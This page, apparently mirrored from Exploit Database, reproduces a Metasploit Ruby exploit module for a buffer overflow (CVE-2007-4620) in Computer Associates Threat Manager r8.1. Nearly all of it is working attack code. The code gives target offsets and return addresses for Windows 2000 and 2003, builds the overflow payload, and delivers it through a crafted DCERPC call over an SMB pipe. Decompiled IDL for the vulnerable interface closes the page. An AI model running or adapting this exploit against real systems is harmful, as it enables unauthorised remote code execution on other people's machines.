Computer Associates – Alert Notification Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16410/

• ##
  # $Id: etrust_itm_alert.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Computer Associates Alert Notification Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1
  				By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.
  				In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-4620' ],
  					[ 'OSVDB', '44040' ],
  					[ 'BID', '28605' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2003 SP0 English',	{ 'Offset' => 979, 'Ret' => 0x77e03efb } ],
  					[ 'Windows 2000 SP4 English',	{ 'Offset' => 979, 'Ret' => 0x7c30d043 } ],
  					[ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui
  				],
  			'DisclosureDate' => 'Apr 4 2008',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('SMBPIPE', [ true,"The pipe name to use (alert)", 'alert']),
  			], self.class)
  	end
  
  	def exploit
  		connect()
  		smb_login()
  
  		handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
  		print_status("Binding to #{handle} ...")
  
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		filler =rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)
  		filler << payload.encoded + rand_text_english(772)
  
  		sploit =NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")
  		sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)
  
  		print_status("Trying target #{target.name}...")
  
  			begin
  				dcerpc_call(0x00, sploit)
  				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			end
  
  		handler
  		disconnect
  	end
  
  end
  
  =begin
  /*
   * IDL code generated by mIDA v1.0.8
   * Copyright (C) 2006, Tenable Network Security
   * http://cgi.tenablesecurity.com/tenable/mida.php
   *
   *
   * Decompilation information:
   * RPC stub type: inline
   */
  
  [ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ]
  
  interface mIDA_interface
  {
  typedef struct struct_1 {
  	long elem_1;
  	[size_is(10000), length_is(elem_1)] struct struct_2 * elem_2;
  } struct_1 ;
  
  typedef struct struct_2 {
  	char elem_1[52];
  } struct_2 ;
  
  
  /* opcode: 0x00, address: 0x00401000 */
  
  long sub_401000 (
  	[in][ref][string] char * arg_1,
  	[out][ref] struct struct_1 * arg_2,
  	[in][ref][string] char * arg_3
  );
  
  }
  =end